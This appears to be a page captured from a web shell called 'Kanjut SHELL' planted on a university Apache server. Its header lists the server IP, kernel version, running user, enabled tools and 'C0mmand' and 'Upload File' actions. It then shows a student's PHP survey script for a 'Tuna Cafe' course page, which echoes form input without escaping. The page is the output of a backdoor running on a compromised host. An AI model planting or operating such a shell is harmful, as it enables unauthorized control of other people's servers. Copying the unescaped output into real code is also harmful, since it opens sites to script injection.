Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.167.11
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/akimiavi/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/akimiavi/www/surveyAction.php
<CENTER>
<FONT color=blue size=3>
<H2>
Tuna Cafe Survey Results
</H2>

</CENTER>
<HR>
 <?php
    
    if (isset($_POST['prefer'])) {
        $prefer = $_POST['prefer'];
        print "<p>Your favorite menu items:</p>";
        print "<ul>";
        foreach ($prefer as $favorite) {
            print "<li>$favorite</li>";
        }
        print "</ul>";
    } else {
        print "<p>No favorite menu items selected.</p>";
    }

    
    if (isset($_POST['likes'])) {
        $likes = $_POST['likes'];
        print "<p>Aspects of the service you like:</p>";
        print "<ul>";
        foreach ($likes as $like) {
            print "<li>$like</li>";
        }
        print "</ul>";
    } else {
        print "<p>No aspects of the service selected.</p>";
    }
    ?>
<A HREF=index.html> Course Home </A>
</FONT>

Stv3n404 - 2023